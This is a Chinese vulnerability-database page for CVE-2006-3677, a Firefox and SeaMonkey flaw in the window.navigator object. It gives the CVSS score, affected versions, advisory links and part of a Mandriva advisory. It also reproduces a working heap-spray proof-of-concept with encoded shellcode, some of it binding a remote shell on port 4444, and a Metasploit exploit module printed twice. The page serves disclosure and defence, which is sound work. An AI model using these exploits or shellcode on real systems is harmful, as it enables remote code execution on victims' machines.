CVE-2006-3677
CVSS7.5
发布时间 :2006-07-27 15:04:00
修订时间 :2011-03-07 00:00:00
NMCOEPS    

[原文]Mozilla Firefox 1.5 before 1.5.0.5 and SeaMonkey before 1.0.3 allows remote attackers to execute arbitrary code by changing certain properties of the window navigator object (window.navigator) that are accessed when Java starts up, which causes a crash that leads to code execution.


[CNNVD]Mozilla Firefox Javascript导航器对象远程代码执行漏洞(CNNVD-200607-482)

        Mozilla Firefox是一款开放源码的WEB浏览器。
        如果在web页面中使用的话,Java就会在启动时引用window.navigator对象的属性。如果在启动Java之前页面取代了导航器对象的话,Firefox浏览器就会崩溃,导致执行攻击者所提供的代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-16 [配置]

- CPE (受影响的平台与产品)

cpe:/a:mozilla:firefox:1.5Mozilla Firefox 1.5
cpe:/a:mozilla:firefox:1.5.0.4Mozilla Firefox 1.5.0.4
cpe:/a:mozilla:firefox:1.5.0.1Mozilla Firefox 1.5.0.1
cpe:/a:mozilla:seamonkey:1.0.2Mozilla SeaMonkey 1.0.2
cpe:/a:mozilla:seamonkey:1.0Mozilla SeaMonkey 1.0
cpe:/a:mozilla:firefox:1.5.0.2Mozilla Firefox 1.5.0.2
cpe:/a:mozilla:seamonkey:1.0::dev
cpe:/a:mozilla:seamonkey:1.0.1Mozilla SeaMonkey 1.0.1
cpe:/a:mozilla:firefox:1.5.0.3Mozilla Firefox 1.5.0.3

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:10745Mozilla Firefox 1.5 before 1.5.0.5 and SeaMonkey before 1.0.3 allows remote attackers to execute arbitrary code by changing certain properti...
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3677
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3677
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200607-482
(官方数据源) CNNVD

- 其它链接及资源

http://www.us-cert.gov/cas/techalerts/TA06-208A.html
(UNKNOWN)  CERT  TA06-208A
http://www.kb.cert.org/vuls/id/670060
(VENDOR_ADVISORY)  CERT-VN  VU#670060
http://www.securityfocus.com/bid/19192
(PATCH)  BID  19192
http://secunia.com/advisories/21229
(VENDOR_ADVISORY)  SECUNIA  21229
http://secunia.com/advisories/21216
(VENDOR_ADVISORY)  SECUNIA  21216
http://secunia.com/advisories/19873
(VENDOR_ADVISORY)  SECUNIA  19873
https://issues.rpath.com/browse/RPL-536
(UNKNOWN)  CONFIRM  https://issues.rpath.com/browse/RPL-536
http://xforce.iss.net/xforce/xfdb/39998
(UNKNOWN)  XF  iphone-mobilesafari-dos(39998)
http://xforce.iss.net/xforce/xfdb/27981
(UNKNOWN)  XF  mozilla-javascript-navigator-code-excecution(27981)
http://www.zerodayinitiative.com/advisories/ZDI-06-025.html
(VENDOR_ADVISORY)  MISC  http://www.zerodayinitiative.com/advisories/ZDI-06-025.html
http://www.vupen.com/english/advisories/2008/0083
(VENDOR_ADVISORY)  VUPEN  ADV-2008-0083
http://www.vupen.com/english/advisories/2006/3748
(VENDOR_ADVISORY)  VUPEN  ADV-2006-3748
http://www.vupen.com/english/advisories/2006/2998
(VENDOR_ADVISORY)  VUPEN  ADV-2006-2998
http://www.ubuntulinux.org/support/documentation/usn/usn-327-1
(UNKNOWN)  UBUNTU  USN-327-1
http://www.ubuntu.com/usn/usn-354-1
(UNKNOWN)  UBUNTU  USN-354-1
http://www.securityfocus.com/bid/19181
(UNKNOWN)  BID  19181
http://www.securityfocus.com/archive/1/archive/1/446658/100/200/threaded
(UNKNOWN)  HP  HPSBUX02153
http://www.securityfocus.com/archive/1/archive/1/446658/100/200/threaded
(UNKNOWN)  HP  SSRT061181
http://www.securityfocus.com/archive/1/archive/1/441333/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060727 rPSA-2006-0137-1 firefox
http://www.securityfocus.com/archive/1/archive/1/441332/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060726 ZDI-06-025: Mozilla Firefox Javascript navigator Object Vulnerability
http://www.redhat.com/support/errata/RHSA-2006-0611.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2006:0611
http://www.redhat.com/support/errata/RHSA-2006-0610.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2006:0610
http://www.redhat.com/support/errata/RHSA-2006-0608.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2006:0608
http://www.redhat.com/support/errata/RHSA-2006-0594.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2006:0594
http://www.novell.com/linux/security/advisories/2006_48_seamonkey.html
(UNKNOWN)  SUSE  SUSE-SA:2006:048
http://www.mozilla.org/security/announce/2006/mfsa2006-45.html
(VENDOR_ADVISORY)  CONFIRM  http://www.mozilla.org/security/announce/2006/mfsa2006-45.html
http://www.mandriva.com/security/advisories?name=MDKSA-2006:145
(UNKNOWN)  MANDRIVA  MDKSA-2006:145
http://www.mandriva.com/security/advisories?name=MDKSA-2006:143
(UNKNOWN)  MANDRIVA  MDKSA-2006:143
http://www.gentoo.org/security/en/glsa/glsa-200608-03.xml
(UNKNOWN)  GENTOO  GLSA-200608-03
http://securitytracker.com/id?1016587
(UNKNOWN)  SECTRACK  1016587
http://securitytracker.com/id?1016586
(UNKNOWN)  SECTRACK  1016586
http://security.gentoo.org/glsa/glsa-200608-02.xml
(UNKNOWN)  GENTOO  GLSA-200608-02
http://secunia.com/advisories/22210
(VENDOR_ADVISORY)  SECUNIA  22210
http://secunia.com/advisories/22066
(VENDOR_ADVISORY)  SECUNIA  22066
http://secunia.com/advisories/21631
(VENDOR_ADVISORY)  SECUNIA  21631
http://secunia.com/advisories/21532
(VENDOR_ADVISORY)  SECUNIA  21532
http://secunia.com/advisories/21529
(VENDOR_ADVISORY)  SECUNIA  21529
http://secunia.com/advisories/21361
(VENDOR_ADVISORY)  SECUNIA  21361
http://secunia.com/advisories/21343
(VENDOR_ADVISORY)  SECUNIA  21343
http://secunia.com/advisories/21336
(VENDOR_ADVISORY)  SECUNIA  21336
http://secunia.com/advisories/21270
(VENDOR_ADVISORY)  SECUNIA  21270
http://secunia.com/advisories/21269
(VENDOR_ADVISORY)  SECUNIA  21269
http://secunia.com/advisories/21262
(VENDOR_ADVISORY)  SECUNIA  21262
http://secunia.com/advisories/21246
(VENDOR_ADVISORY)  SECUNIA  21246
http://secunia.com/advisories/21243
(VENDOR_ADVISORY)  SECUNIA  21243
http://rhn.redhat.com/errata/RHSA-2006-0609.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2006:0609
ftp://patches.sgi.com/support/free/security/advisories/20060703-01-U.asc
(UNKNOWN)  SGI  20060703-01-P

- 漏洞信息

Mozilla Firefox Javascript导航器对象远程代码执行漏洞
高危 资料不足
2006-07-27 00:00:00 2006-08-26 00:00:00
远程  
        Mozilla Firefox是一款开放源码的WEB浏览器。
        如果在web页面中使用的话,Java就会在启动时引用window.navigator对象的属性。如果在启动Java之前页面取代了导航器对象的话,Firefox浏览器就会崩溃,导致执行攻击者所提供的代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        http://www.mozilla.com/products/download.html?product=firefox-1.5.0.5&os=linux&lang=en-US
        http://download.mozilla.org/?product=seamonkey-1.0.3&os=win&lang=en-US
        

- 漏洞信息 (2082)

Mozilla Firefox <= 1.5.0.4 Javascript Navigator Object Code Execution PoC (EDBID:2082)
multiple remote
2006-07-28 Verified
0 H D Moore
[点击下载] [点击下载]
<!--
Firefox <= 1.5.0.4 Javascript navigator Object Code Execution PoC 
http://browserfun.blogspot.com/

The following bug (mfsa2006-45) was tested on the Firefox 1.5.0.4 running 
on Windows 2000 SP4, Windows XP SP4, and a recently updated Gentoo Linux system. 
This bug was reported by TippingPoint and fixed in the latest 1.5.0.5 release of 
Mozilla Firefox. This is different from the bug I reported (mfsa2006-48) and is 
trivial to turn into a working exploit. The demonstration link below will attempt 
to launch "calc.exe" on Windows systems and "touch /tmp/METASPLOIT" on Linux systems.

window.navigator = (0x01020304 / 2);
java.lang.reflect.Runtime.newInstance( java.lang.Class.forName("java.lang.Runtime"), 0);

-->

<html><body><script>

// MoBB Demonstration
function Demo() {

	// Exploit for http://www.mozilla.org/security/announce/2006/mfsa2006-45.html
	// https://bugzilla.mozilla.org/show_bug.cgi?id=342267
	// CVE-2006-3677

	// The Java plugin is required for this to work

	// win32 = calc.exe
	var shellcode_win32 = unescape('%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u2e63%u7865%u0065');
	var fill_win32 = unescape('%u0800');
	var addr_win32 = 0x08000800;
	
	// linux = touch /tmp/METASPLOIT (unreliable)
	var shellcode_linux = unescape('%u0b6a%u9958%u6652%u2d68%u8963%u68e7%u732f%u0068%u2f68%u6962%u896e%u52e3%u16e8%u0000%u7400%u756f%u6863%u2f20%u6d74%u2f70%u454d%u4154%u5053%u4f4c%u5449%u5700%u8953%ucde1%u8080');
	var fill_linux = unescape('%ua8a8');
	var addr_linux = -0x58000000; // Integer wrap: 0xa8000000

	// mac os x ppc = bind a shell to 4444
	var shellcode_macppc = unescape('%u3860%u0002%u3880%u0001%u38a0%u0006%u3800%u0061%u4400%u0002%u7c00%u0278%u7c7e%u1b78%u4800%u000d%u0002%u115c%u0000%u0000%u7c88%u02a6%u38a0%u0010%u3800%u0068%u7fc3%uf378%u4400%u0002%u7c00%u0278%u3800%u006a%u7fc3%uf378%u4400%u0002%u7c00%u0278%u7fc3%uf378%u3800%u001e%u3880%u0010%u9081%uffe8%u38a1%uffe8%u3881%ufff0%u4400%u0002%u7c00%u0278%u7c7e%u1b78%u38a0%u0002%u3800%u005a%u7fc3%uf378%u7ca4%u2b78%u4400%u0002%u7c00%u0278%u38a5%uffff%u2c05%uffff%u4082%uffe5%u3800%u0042%u4400%u0002%u7c00%u0278%u7ca5%u2a79%u4082%ufffd%u7c68%u02a6%u3863%u0028%u9061%ufff8%u90a1%ufffc%u3881%ufff8%u3800%u003b%u7c00%u04ac%u4400%u0002%u7c00%u0278%u7fe0%u0008%u2f62%u696e%u2f63%u7368%u0000%u0000');
	var fill_macppc = unescape('%u0c0c');
	var addr_macppc = 0x0c000000;
	
	// mac os x intel = bind a shell to 4444
	// Thanks to nemo[at]felinemenace.org for shellcode
	// Thanks to Todd Manning for the target information and testing
	var shellcode_macx86 = unescape('%u426a%ucd58%u6a80%u5861%u5299%u1068%u1102%u895c%u52e1%u5242%u5242%u106a%u80cd%u9399%u5351%u6a52%u5868%u80cd%u6ab0%u80cd%u5352%ub052%ucd1e%u9780%u026a%u6a59%u585a%u5751%ucd51%u4980%u890f%ufff1%uffff%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u5454%u5353%u3bb0%u80cd');
	var fill_macx86 = unescape('%u1c1c');
	var addr_macx86 = 0x1c000000;		


	// Start the browser detection
	var shellcode;
	var addr;
	var fill;
	var ua = '' + navigator.userAgent;

	if (ua.indexOf('Linux') != -1) {
		alert('Trying to create /tmp/METASPLOIT');
		shellcode = shellcode_linux;
		addr = addr_linux;
		fill = fill_linux;
	}
	
	if (ua.indexOf('Windows') != -1) {
		alert('Trying to launch Calculator');	
		shellcode = shellcode_win32;
		addr = addr_win32;
		fill = fill_win32;
	}	

	if (ua.indexOf('PPC Mac OS') != -1) {
		alert('Trying to bind a shell to 4444');
		shellcode = shellcode_macppc;
		addr = addr_macppc;
		fill = fill_macppc;
	}	
	
	if (ua.indexOf('Intel Mac OS') != -1) {
		alert('Trying to bind a shell to 4444');
		shellcode = shellcode_macx86;
		addr = addr_macx86;
		fill = fill_macx86;
	}
			
	if (! shellcode) {
		alert('OS not supported, only attempting a crash!');
		shellcode = unescape('%ucccc');
		fill = unescape('%ucccc');
		addr = 0x02020202;
	}
		
	var b = fill;
	while (b.length <= 0x400000) b+=b;

	var c = new Array();
	for (var i =0; i<36; i++) {
		c[i] = 
			b.substring(0,  0x100000 - shellcode.length) + shellcode +
			b.substring(0,  0x100000 - shellcode.length) + shellcode + 
			b.substring(0,  0x100000 - shellcode.length) + shellcode + 
			b.substring(0,  0x100000 - shellcode.length) + shellcode;
	}
			
	
	if (window.navigator.javaEnabled) {
		window.navigator = (addr / 2);
		try {
			java.lang.reflect.Runtime.newInstance(
				java.lang.Class.forName("java.lang.Runtime"), 0
			);
			alert('Patched!');
		}catch(e){
			alert('No Java plugin installed!');
		}
	}
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

# milw0rm.com [2006-07-28]
		

- 漏洞信息 (16300)

Mozilla Suite/Firefox Navigator Object Code Execution (EDBID:16300)
multiple remote
2010-09-20 Verified
0 metasploit
N/A [点击下载]
##
# $Id: mozilla_navigatorjava.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core/constants'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::FF,
		:javascript => true,
		:rank       => NormalRanking, # reliable memory corruption
		:vuln_test  => %Q|
			is_vuln = false;
			if (window.navigator.javaEnabled && window.navigator.javaEnabled()){
				is_vuln = true;
			}
			|,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Suite/Firefox Navigator Object Code Execution',
			'Description'    => %q{
					This module exploits a code execution vulnerability in the Mozilla
				Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
				requires the Java plugin to be installed.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>  ['hdm'],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE',    '2006-3677'],
					['OSVDB',  '27559'],
					['BID',    '19192'],
					['URL',    'http://www.mozilla.org/security/announce/mfsa2006-45.html'],
					['URL',    'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'],
				],
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "",
				},
			'Targets'        =>
				[
					[ 'Firefox 1.5.0.4 Windows x86',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'Ret'  => 0x08000800,
							'Fill' => "%u0800",
						}
					],
					[ 'Firefox 1.5.0.4 Linux x86',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
							'Ret'  => -0x58000000,
							'Fill' => "%ua8a8",
						}
					],
					[ 'Firefox 1.5.0.4 Mac OS X PPC',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_PPC,
							'Ret'  => 0x0c000000,
							'Fill' => "%u0c0c",
						}
					],
					[ 'Firefox 1.5.0.4 Mac OS X x86',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
							'Ret'  => 0x1c000000,
							'Fill' => "%u1c1c",
						}
					],
				],
			'DisclosureDate' => 'Jul 25 2006'
			))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		return %Q|
<html><head>
<script>
	function Exploit() {
		if (window.navigator.javaEnabled) {
			var shellcode = unescape("#{enc_code}");
			var b = unescape("#{target['Fill']}");
			while (b.length <= 0x400000) b+=b;

			var c = new Array();
			for (var i =0; i<36; i++) {
				c[i] =
					b.substring(0,  0x100000 - shellcode.length) + shellcode +
					b.substring(0,  0x100000 - shellcode.length) + shellcode +
					b.substring(0,  0x100000 - shellcode.length) + shellcode +
					b.substring(0,  0x100000 - shellcode.length) + shellcode;
			}

			window.navigator = (#{target['Ret']} / 2);
			try {
				java.lang.reflect.Runtime.newInstance(
					java.lang.Class.forName("java.lang.Runtime"), 0
				);
			}catch(e){

			}
		}
	}
</script>
</head><body onload='Exploit()'>Please wait...</body></html>
		|
	end
end
		

- 漏洞信息 (F82262)

Mozilla Suite/Firefox Navigator Object Code Execution (PacketStormID:F82262)
2009-10-27 00:00:00
H D Moore  metasploit.com
exploit,java,code execution
CVE-2006-3677
[点击下载]

This Metasploit module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit requires the Java plugin to be installed.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core/constants'
require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::FF,
		:javascript => true,
		:rank       => NormalRanking, # reliable memory corruption
		:vuln_test  => %Q|
			is_vuln = false;
			if (window.navigator.javaEnabled && window.navigator.javaEnabled()){
				is_vuln = true; 
			}
			|,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Suite/Firefox Navigator Object Code Execution',
			'Description'    => %q{
				This module exploits a code execution vulnerability in the Mozilla
			Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit 
			requires the Java plugin to be installed.

			},
			'License'        => MSF_LICENSE,
			'Author'         =>  ['hdm'],
			'Version'        => '$Revision$',
			'References'     => 
				[
					['CVE',    '2006-3677'],
					['OSVDB',  '27559'],
	  				['BID',    '19192'],
					['URL',    'http://www.mozilla.org/security/announce/mfsa2006-45.html'],
					['URL',    'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'],
				],
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "",
				},
			'Targets'        =>
				[
					[ 'Firefox 1.5.0.4 Windows x86', 
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'Ret'  => 0x08000800,
							'Fill' => "%u0800",
						}
					],
					[ 'Firefox 1.5.0.4 Linux x86', 
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
							'Ret'  => -0x58000000,
							'Fill' => "%ua8a8",
						}
					],
					[ 'Firefox 1.5.0.4 Mac OS X PPC', 
						{
							'Platform' => 'osx',
							'Arch' => ARCH_PPC,
							'Ret'  => 0x0c000000,
							'Fill' => "%u0c0c",
						}
					],
					[ 'Firefox 1.5.0.4 Mac OS X x86', 
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
							'Ret'  => 0x1c000000,
							'Fill' => "%u1c1c",
						}
					],																
				],
			'DisclosureDate' => 'Jul 25 2006'
			))
	end

	def on_request_uri(cli, request)
	
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
		
		# Handle the payload
		handler(cli)
	end
	
	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		return %Q|
<html><head>
<script>
	function Exploit() {
		if (window.navigator.javaEnabled) {
			var shellcode = unescape("#{enc_code}");
			var b = unescape("#{target['Fill']}");
			while (b.length <= 0x400000) b+=b;

			var c = new Array();
			for (var i =0; i<36; i++) {
				c[i] = 
					b.substring(0,  0x100000 - shellcode.length) + shellcode +
					b.substring(0,  0x100000 - shellcode.length) + shellcode + 
					b.substring(0,  0x100000 - shellcode.length) + shellcode + 
					b.substring(0,  0x100000 - shellcode.length) + shellcode;
			}

			window.navigator = (#{target['Ret']} / 2);
			try {
				java.lang.reflect.Runtime.newInstance(
					java.lang.Class.forName("java.lang.Runtime"), 0
				);
			}catch(e){

			}
		}
	}
</script>
</head><body onload='Exploit()'>Please wait...</body></html>
		|
	end
end

    

- 漏洞信息 (F49350)

Mandriva Linux Security Advisory 2006.143 (PacketStormID:F49350)
2006-08-27 00:00:00
Mandriva  mandriva.com
advisory,vulnerability
linux,mandriva
CVE-2006-2613,CVE-2006-2894,CVE-2006-2775,CVE-2006-2776,CVE-2006-2777,CVE-2006-2778,CVE-2006-2779,CVE-2006-2780,CVE-2006-2782,CVE-2006-2783,CVE-2006-2784,CVE-2006-2785,CVE-2006-2786,CVE-2006-2787,CVE-2006-2788,CVE-2006-3677,CVE-2006-3803,CVE-2006-3804
[点击下载]

Mandriva Linux Security Advisory MDKSA-2006-143 - A number of security vulnerabilities have been discovered and corrected in the latest Mozilla Firefox program.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________
 
 Mandriva Linux Security Advisory                         MDKSA-2006:143
 http://www.mandriva.com/security/
 _______________________________________________________________________
 
 Package : mozilla-firefox
 Date    : August 16, 2006
 Affected: 2006.0
 _______________________________________________________________________
 
 Problem Description:
 
 A number of security vulnerabilities have been discovered and corrected
 in the latest Mozilla Firefox program.
 
 Previous updates to Firefox were patch fixes to Firefox 1.0.6 that
 brought it in sync with 1.0.8 in terms of security fixes.  In this
 update, Mozilla Firefox 1.5.0.6 is being provided which corrects a
 number of vulnerabilities that were previously unpatched, as well as
 providing new and enhanced features.
 
 The following CVE names have been corrected with this update:
 CVE-2006-2613, CVE-2006-2894, CVE-2006-2775, CVE-2006-2776,
 CVE-2006-2777, CVE-2006-2778, CVE-2006-2779, CVE-2006-2780,
 CVE-2006-2782, CVE-2006-2783, CVE-2006-2784, CVE-2006-2785, 
 CVE-2006-2786, CVE-2006-2787, CVE-2006-2788, CVE-2006-3677,
 CVE-2006-3803, CVE-2006-3804, CVE-2006-3806, CVE-2006-3807,
 CVE-2006-3113, CVE-2006-3801, CVE-2006-3802, CVE-2006-3805,
 CVE-2006-3808, CVE-2006-3809, CVE-2006-3810, CVE-2006-3811,
 CVE-2006-3812.
 _______________________________________________________________________

 References:
 
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2613
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2894
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2775
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2776
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2777
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2778
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2779
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2780
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2782
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2783
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2784
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2785
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2786
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2787
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2788
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3677
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3803
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3804
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3806
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3807
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3113
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3801
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3802
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3805
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3808
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3809
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3810
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3811
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3812
 http://www.mozilla.org/security/announce/2006/mfsa2006-31.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-32.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-33.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-34.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-35.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-36.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-37.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-38.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-39.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-41.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-42.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-43.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-44.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-45.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-46.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-47.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-48.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-50.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-51.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-52.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-53.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-54.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-55.html
 http://www.mozilla.org/security/announce/2006/mfsa2006-56.html
 _______________________________________________________________________
 
 Updated Packages:
 
 Mandriva Linux 2006.0:
 76ef1a2e7338c08e485ab2c19a1ce691  2006.0/RPMS/devhelp-0.10-7.1.20060mdk.i586.rpm
 d44f02b82df9f404f899ad8bc4bdd6a2  2006.0/RPMS/epiphany-1.8.5-4.1.20060mdk.i586.rpm
 29efc065aeb4a53a105b2c27be816758  2006.0/RPMS/epiphany-devel-1.8.5-4.1.20060mdk.i586.rpm
 caad34c0d4c16a50ec4b05820e6d01db  2006.0/RPMS/galeon-2.0.1-1.1.20060mdk.i586.rpm
 d0e75938f4e129936351f015bd90a37a  2006.0/RPMS/gnome-doc-utils-0.4.4-2.1.20060mdk.noarch.rpm
 652044ff7d9c3170df845011ec696393  2006.0/RPMS/libdevhelp-1_0-0.10-7.1.20060mdk.i586.rpm
 bf6dcf87f409d06b42234dbca387b922  2006.0/RPMS/libdevhelp-1_0-devel-0.10-7.1.20060mdk.i586.rpm
 e9aaff3090a4459b57367f4903b0458a  2006.0/RPMS/libnspr4-1.5.0.6-1.4.20060mdk.i586.rpm
 fa99cbc159722cc0ff9e5710f24ca599  2006.0/RPMS/libnspr4-devel-1.5.0.6-1.4.20060mdk.i586.rpm
 d4d45b797ca2f2347c0409d9f956ff25  2006.0/RPMS/libnspr4-static-devel-1.5.0.6-1.4.20060mdk.i586.rpm
 8d33e72703090a911f7fd171ad9dd719  2006.0/RPMS/libnss3-1.5.0.6-1.4.20060mdk.i586.rpm
 23afd287c042c5492c210255554a6893  2006.0/RPMS/libnss3-devel-1.5.0.6-1.4.20060mdk.i586.rpm
 4a188f54230b943ea9c8930eb2e0cfe1  2006.0/RPMS/mozilla-firefox-1.5.0.6-1.4.20060mdk.i586.rpm
 5bec4690547fd733ca97cb2933ebe427  2006.0/RPMS/mozilla-firefox-br-1.5.0.6-0.1.20060mdk.i586.rpm
 55836595e5cba3828a9a5a27e5aa1825  2006.0/RPMS/mozilla-firefox-ca-1.5.0.6-0.1.20060mdk.i586.rpm
 0faf5ee7022ee0b70915d2c845865cae  2006.0/RPMS/mozilla-firefox-cs-1.5.0.6-0.1.20060mdk.i586.rpm
 312a89317692b3bd86060a1995365d86  2006.0/RPMS/mozilla-firefox-da-1.5.0.6-0.1.20060mdk.i586.rpm
 38215dccbee8a169bcbac2af2897c2f7  2006.0/RPMS/mozilla-firefox-de-1.5.0.6-0.1.20060mdk.i586.rpm
 aaba2fa72f8de960a3a757b3010027d3  2006.0/RPMS/mozilla-firefox-devel-1.5.0.6-1.4.20060mdk.i586.rpm
 d8d59a55974f6fa20d99fb30f126638f  2006.0/RPMS/mozilla-firefox-el-1.5.0.6-0.1.20060mdk.i586.rpm
 946e6a76c71dbbee3340f1a96ae25a1d  2006.0/RPMS/mozilla-firefox-es-1.5.0.6-0.1.20060mdk.i586.rpm
 9a14c31a41c2bac3942caa3d1fb5daee  2006.0/RPMS/mozilla-firefox-fi-1.5.0.6-0.1.20060mdk.i586.rpm
